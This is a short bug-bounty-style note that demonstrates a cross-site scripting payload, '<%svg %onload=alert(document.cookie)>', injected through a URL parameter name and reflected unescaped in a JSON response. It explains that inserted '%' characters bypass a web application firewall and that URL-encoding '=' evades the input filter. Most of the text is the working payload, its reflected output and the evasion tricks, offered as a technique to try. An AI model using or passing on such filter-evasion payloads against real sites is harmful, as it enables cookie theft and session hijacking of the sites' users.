test.ok?p=test<S>s
->
test<s>s
test.ok?p[<%svg %onload=alert(document.cookie)>]=test
->
{"<svg onload=alert(document.cookie)>":"test"}
% in front of svg and onload ->used to bypass the WAF
= -> = URL-encoded to bypass the filter
it's worth trying this old trick